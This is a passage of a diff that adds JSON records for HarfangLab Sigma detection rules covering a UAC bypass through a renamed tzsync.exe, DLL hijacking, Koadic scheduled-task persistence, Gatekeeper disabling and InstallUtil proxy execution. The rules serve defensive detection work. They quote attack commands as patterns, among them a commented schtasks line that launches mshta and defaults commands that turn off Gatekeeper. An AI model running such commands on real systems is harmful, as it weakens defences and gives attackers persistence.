classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image|endswith: 'Windows\\migwiz.exe'\n        #OriginalFileName: 'tzsync.exe'\n        ImageLoaded|endswith: '\\cryptbase.dll'\n\n    filter_signed:\n        Signed: 'true'\n        Signature|contains: 'Microsoft Windows'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5ae07f49-3dd1-490d-affc-811f90f709d7",
+  "rule_name": "UAC Bypass Executed via tzsync",
+  "rule_description": "Detects a UAC bypass via a renamed tzsync.exe and a missing manifest.\nA manifest file is an XML document embedded in or placed alongside an executable that defines application metadata, including runtime behavior, dependency paths, and privilege requirements.\nThis UAC bypass method involves creating a malicious manifest file that specifies a custom path for loading the cryptbase.dll DLL.\nWhen migwiz.exe (renamed tzsync.exe), which lacks an embedded manifest and has the autoElevate attribute, is executed, it loads the attacker's DLL from the specified path with elevated privileges.\nThis allows the attacker to achieve privilege escalation without triggering a UAC prompt.\nThis approach combines manifest manipulation and DLL hijacking to bypass UAC and achieve privilege escalation.\nIt is recommended to investigate the DLL file loaded to determine its legitimacy.\n",
+  "rule_creation_date": "2021-01-25",
+  "rule_modified_date": "2025-01-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002",
+    "attack.t1574.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5ae1d32b-e95b-4ed0-a035-5b1761a4bd14",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082038Z",
+  "creation_date": "2026-03-23T11:45:34.082040Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082044Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lexfo.fr/tag/cobalt-strike/",
+    "https://attack.mitre.org/techniques/T1543/003/"
+  ],
+  "name": "t1543_001_service_comspec.yml",
+  "content": "title: Suspicious Service Using %COMSPEC% Environment Variable\nid: 5ae1d32b-e95b-4ed0-a035-5b1761a4bd14\ndescription: |\n    Detects a service creation whose command-line contains the %COMSPEC% environment variable.\n    Adversaries may use %COMSPEC% as a replacement for cmd.exe when creating a service, the environment variable being replaced at runtime.\n    It is recommended to analyze the behavior of the process responsible for the service creation and check if the service has been started.\nreferences:\n    - https://lexfo.fr/tag/cobalt-strike/\n    - https://attack.mitre.org/techniques/T1543/003/\ndate: 2024/01/31\nmodified: 2025/04/08\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1543.003\n    - attack.execution\n    - attack.t1569.002\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.ServiceCreation\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\\\*\\ImagePath'\n        Details|contains: \"%COMSPEC%\"\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5ae1d32b-e95b-4ed0-a035-5b1761a4bd14",
+  "rule_name": "Suspicious Service Using %COMSPEC% Environment Variable",
+  "rule_description": "Detects a service creation whose command-line contains the %COMSPEC% environment variable.\nAdversaries may use %COMSPEC% as a replacement for cmd.exe when creating a service, the environment variable being replaced at runtime.\nIt is recommended to analyze the behavior of the process responsible for the service creation and check if the service has been started.\n",
+  "rule_creation_date": "2024-01-31",
+  "rule_modified_date": "2025-04-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.003",
+    "attack.t1569.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5afa7a78-99c9-4aa8-9b87-6ea4220b19d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.779645Z",
+  "creation_date": "2026-03-23T11:45:34.617144Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617151Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1036/003/"
+  ],
+  "name": "t1036_003_platform_binary_copy_macos.yml",
+  "content": "title: Apple Binary Executed from Suspicious Folder\nid: 5afa7a78-99c9-4aa8-9b87-6ea4220b19d6\ndescription: |\n    Detects a platform binary being executed from an uncommon folder.\n    Apple's signed binaries, also known as platform binaries, should only be executed from system directories.\n    Adversaries may copy and execute such binaries in another folder in order to bypass security solutions.\n    It is recommended to analyze the process that copied the binary as well as commands that were executed.\nreferences:\n    - https://attack.mitre.org/techniques/T1036/003/\ndate: 2024/07/22\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.003\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image|startswith:\n            - '/users/shared/'\n            - '/private/tmp/'\n            - '/private/var/tmp/'\n            - '/private/etc/'\n            - '/private/var/root/'\n            - '/Volumes/'\n        IsPlatformBinary: 'true'\n\n    exclusion_installer:\n        - Image: '/Volumes/*/Install macOS *.app/Contents/MacOS/InstallAssistant_springboard'\n          SignatureSigningId: 'com.apple.InstallAssistant.macOS*'\n        - Image: '/Volumes/*/Install macOS *.app/Contents/MacOS/createinstallmedia'\n          SignatureSigningId: 'com.apple.createinstallmedia'\n\n    exclusion_chrome_updater:\n        - Image: '/Volumes/Google Chrome * universal Update/.patch/goobspatch'\n          SignatureSigningId: 'goobspatch'\n        - Image: '/Volumes/Google Chrome * universal Update/.patch/xzdec'\n          SignatureSigningId: 'xzdec'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5afa7a78-99c9-4aa8-9b87-6ea4220b19d6",
+  "rule_name": "Apple Binary Executed from Suspicious Folder",
+  "rule_description": "Detects a platform binary being executed from an uncommon folder.\nApple's signed binaries, also known as platform binaries, should only be executed from system directories.\nAdversaries may copy and execute such binaries in another folder in order to bypass security solutions.\nIt is recommended to analyze the process that copied the binary as well as commands that were executed.\n",
+  "rule_creation_date": "2024-07-22",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5afe7952-8754-4b6d-9df2-bb59a0b2feea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077237Z",
+  "creation_date": "2026-03-23T11:45:34.077239Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077244Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/offsecginger/koadic",
+    "https://attack.mitre.org/techniques/T1053/005/",
+    "https://attack.mitre.org/software/S0250/"
+  ],
+  "name": "t1053_005_koadic_scheduled_task.yml",
+  "content": "title: Scheduled Task Created by Koadic\nid: 5afe7952-8754-4b6d-9df2-bb59a0b2feea\ndescription: |\n    Detects the creation of a suspicious task used to reconnect a system infected by Koadic back to its command-and-control (C2) server.\n    Koadic is a remote access Trojan (RAT) that enables attackers to maintain persistence and control over an infected system.\n    The creation of such a task indicates an attempt to establish communication with the C2 server, potentially for data exfiltration or further malicious activities.\n    It is recommended to investigate the task's properties, check for any unusual or unauthorized scheduled tasks, and scan the system for the presence of Koadic or other indicators of infection.\nreferences:\n    - https://github.com/offsecginger/koadic\n    - https://attack.mitre.org/techniques/T1053/005/\n    - https://attack.mitre.org/software/S0250/\ndate: 2021/02/11\nmodified: 2025/08/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.005\n    - attack.s0250\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Trojan.Koadic\n    - classification.Windows.Behavior.ScheduledTask\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # schtasks.exe /create /tn K0adic /tr \"C:\\Windows\\system32\\mshta.exe <path>\" /sc onlogon /ru System /f\n    # schtasks.exe /create /tn K0adic /tr \"C:\\Windows\\system32\\mshta.exe <path>\" /sc onidle /i 1 /f\n    selection_bin:\n        - Image|endswith: '\\schtasks.exe'\n        - OriginalFileName: 'schtasks.EXE'\n\n    selection_cmd:\n        CommandLine|contains|all:\n            - '/create '\n            - '/tn K0adic '\n\n    condition: all of selection_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5afe7952-8754-4b6d-9df2-bb59a0b2feea",
+  "rule_name": "Scheduled Task Created by Koadic",
+  "rule_description": "Detects the creation of a suspicious task used to reconnect a system infected by Koadic back to its command-and-control (C2) server.\nKoadic is a remote access Trojan (RAT) that enables attackers to maintain persistence and control over an infected system.\nThe creation of such a task indicates an attempt to establish communication with the C2 server, potentially for data exfiltration or further malicious activities.\nIt is recommended to investigate the task's properties, check for any unusual or unauthorized scheduled tasks, and scan the system for the presence of Koadic or other indicators of infection.\n",
+  "rule_creation_date": "2021-02-11",
+  "rule_modified_date": "2025-08-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5b03b3fc-3d9b-465b-811a-bc049224fc59",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098135Z",
+  "creation_date": "2026-03-23T11:45:34.098137Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098142Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_windowsactiondialog.yml",
+  "content": "title: DLL Hijacking via WindowsActionDialog.exe\nid: 5b03b3fc-3d9b-465b-811a-bc049224fc59\ndescription: |\n    Detects potential Windows DLL Hijacking via WindowsActionDialog.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'WindowsActionDialog.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dui70.dll'\n            - '\\msvcp110_win.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5b03b3fc-3d9b-465b-811a-bc049224fc59",
+  "rule_name": "DLL Hijacking via WindowsActionDialog.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via WindowsActionDialog.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5b20f331-5f45-4510-a0f2-7116fa857515",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.598305Z",
+  "creation_date": "2026-03-23T11:45:34.598311Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.598323Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_gatekeeper_disbaled_globally_defaults.yml",
+  "content": "title: Gatekeeper Disabled via defaults\nid: 5b20f331-5f45-4510-a0f2-7116fa857515\ndescription: |\n    Detects the execution of the defaults command to disable Gatekeeper on macOS.\n    Gatekeeper is a security feature of macOS that enforces code signing and verifies downloaded applications before allowing them to run.\n    Attackers may disbale Gatekeeper to allow untrusted applications to run on the system.\n    It is recommended to check defaults' execution context to look for suspicious processes.\nreferences:\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2024/07/03\nmodified: 2025/01/20\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.ImpairDefenses\n    - classification.macOS.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n      Image: '/usr/bin/defaults'\n      CommandLine|contains:\n          - ' write com.apple.LaunchServices LSQuarantine -bool NO'\n          - ' write com.apple.LaunchServices LSQuarantine false'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5b20f331-5f45-4510-a0f2-7116fa857515",
+  "rule_name": "Gatekeeper Disabled via defaults",
+  "rule_description": "Detects the execution of the defaults command to disable Gatekeeper on macOS.\nGatekeeper is a security feature of macOS that enforces code signing and verifies downloaded applications before allowing them to run.\nAttackers may disbale Gatekeeper to allow untrusted applications to run on the system.\nIt is recommended to check defaults' execution context to look for suspicious processes.\n",
+  "rule_creation_date": "2024-07-03",
+  "rule_modified_date": "2025-01-20",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5b3797e1-49d8-453d-aa91-119bf4574c17",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.591091Z",
+  "creation_date": "2026-03-23T11:45:34.591095Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.591102Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_waitfor.yml",
+  "content": "title: DLL Hijacking via waitfor.exe\nid: 5b3797e1-49d8-453d-aa91-119bf4574c17\ndescription: |\n    Detects potential Windows DLL Hijacking via waitfor.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'waitfor.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\mpr.dll'\n            - '\\netutils.dll'\n            - '\\srvcli.dll'\n            - '\\SspiCli.dll'\n            - '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5b3797e1-49d8-453d-aa91-119bf4574c17",
+  "rule_name": "DLL Hijacking via waitfor.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via waitfor.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5b48cbef-ef63-4129-ad19-8865b975a9a2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071024Z",
+  "creation_date": "2026-03-23T11:45:34.071026Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071030Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Installutil/",
+    "https://pentestlab.blog/2017/05/08/applocker-bypass-installutil/",
+    "https://attack.mitre.org/techniques/T1218/004/"
+  ],
+  "name": "t1218_004_installutil_suspicious_execution.yml",
+  "content": "title: Suspicious Proxy Execution via InstallUtil\nid: 5b48cbef-ef63-4129-ad19-8865b975a9a2\ndescription: |\n    Detects the suspicious usage of InstallUtil which is a Microsoft binary used for installing and uninstalling server resources.\n    This utility is part of the .NET Framework and can be used to run any .NET executables.\n    Attackers may abuse this binary to bypass security restrictions.\n    It is recommended to verify the legitimacy of the executable launched by InstallUtil.\n    The parent process can also be a good indicator about the InstallUtil's execution context, such as the result of a legitimate software installation.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Installutil/\n    - https://pentestlab.blog/2017/05/08/applocker-bypass-installutil/\n    - https://attack.mitre.org/techniques/T1218/004/\ndate: 2023/04/04\nmodified: 2025/04/24\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.004\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.InstallUtil\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'InstallUtil.exe'\n        CommandLine|contains|all:\n            - '/logfile= '\n            - '/LogToConsole=false'\n\n    exclusion_programfiles:\n        CurrentDirectory|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        ParentImage:\n            - '?:\\Windows\\System32\\msiexec.exe'\n            - '?:\\Windows\\SysWOW64\\msiexec.exe'\n\n    exclusion_msiexec:\n        CommandLine|endswith:\n            - ' ?:\\Program Files\\Microsoft System Center\\Virtual Machine Manager\\bin\\Microsoft.SystemCenter.VirtualMachineManager.dll'\n            - ' ?:\\Program Files\\Citrix\\Virtual Desktop Agent\\upmWmiMetrics.dll /logfile= /LogToConsole=FALSE'\n            - ' ?:\\Program Files\\Citrix\\Virtual Desktop Agent\\upmWmiAdmin.dll /logfile= /LogToConsole=FALSE'\n            - ' ?:\\Program Files\\Citrix\\User Profile Manager\\ISessionMetrics.exe /logfile= /LogToConsole=FALSE'\n            - ' /Uninstall /LogFile= /LogToConsole=true /ShowCallStack ?:\\Program Files\\Citrix\\CdfCaptureService\\CdfCaptureService.exe'\n        ParentImage: '?:\\Windows\\SysWOW64\\msiexec.exe'\n\n    exclusion_devexpress:\n        # C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe /InstallType=NoTransaction /Action=Install /LogToConsole=true /LogFile= /ShowCallStack /InstallDir=C:\\Program Files (x86)\\DevExpress 20.1\\Components /DemosDir=C:\\Users\\Public\\Documents\\DevExpress Demos 20.1\\Components /Version=20.1.7 /Component=XPOWizard /DemosName= /VSVersions=VS110;VS120;VS140;VS150;VS160; C:\\Program Files (x86)\\DevExpress 20.1\\Components\\System\\XPOWizard\\DevExpress.Xpo.v20.1.Installer.dll\n        # C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe /InstallType=NoTransaction /Action=Install /LogToConsole=true /LogFile= /ShowCallStack /InstallDir=C:\\Program Files (x86)\\DevExpress 20.2\\Components /DemosDir=C:\\Users\\Public\\Documents\\DevExpress Demos 20.2\\Components /Version=20.2.12 /Component=XtraReportsCommon /DemosName= /VSVersions=VS110;VS120;VS140;VS150;VS160; C:\\Program Files (x86)\\DevExpress 20.2\\Components\\System\\XtraReportsCommon\\DevExpress.XtraReports.v20.2.Installer.dll\n        # C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe /InstallType=NoTransaction /Action=Install /LogToConsole=true /LogFile= /ShowCallStack /InstallDir=C:\\Program Files (x86)\\DevExpress 20.2\\Components 